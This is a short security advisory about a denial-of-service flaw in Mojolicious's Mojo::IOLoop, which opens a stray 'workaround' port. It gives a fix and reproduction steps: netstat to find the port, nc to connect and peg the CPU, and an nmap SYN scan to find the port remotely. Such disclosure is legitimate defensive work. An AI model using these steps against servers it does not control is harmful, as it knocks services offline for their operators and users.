Mojo::IOLoop listens to the random "workaround" port additionally to the "normal" one. Attempt to connect to "workaround" port causes high CPU load and denial of service in some cases (all mojolicious applications that use IOLoop (hypnotoad, mojo daemon, mojo fastcgi, etc…)).
Up to v1.17
Update Mojolicious to v1.17 or block all ports greater 30000 with firewall if you can't update because of ruined backward compatibility.
Start mojolicious application and find the ports opened by the application
% netstat -lnp | grep perl
"Workaround" usually opens the port greater than 30000.
Then connect to the "workaround" port
% nc localhost 31342
% top
Watch out. It can freeze your computer.
Attacker can exploit vulnerability remotely.
% nmap -p30000-60000 -T4 -sS
nmap will find all the ports opened by the "workaround". When port is found, follow the same procedure as for the local machine.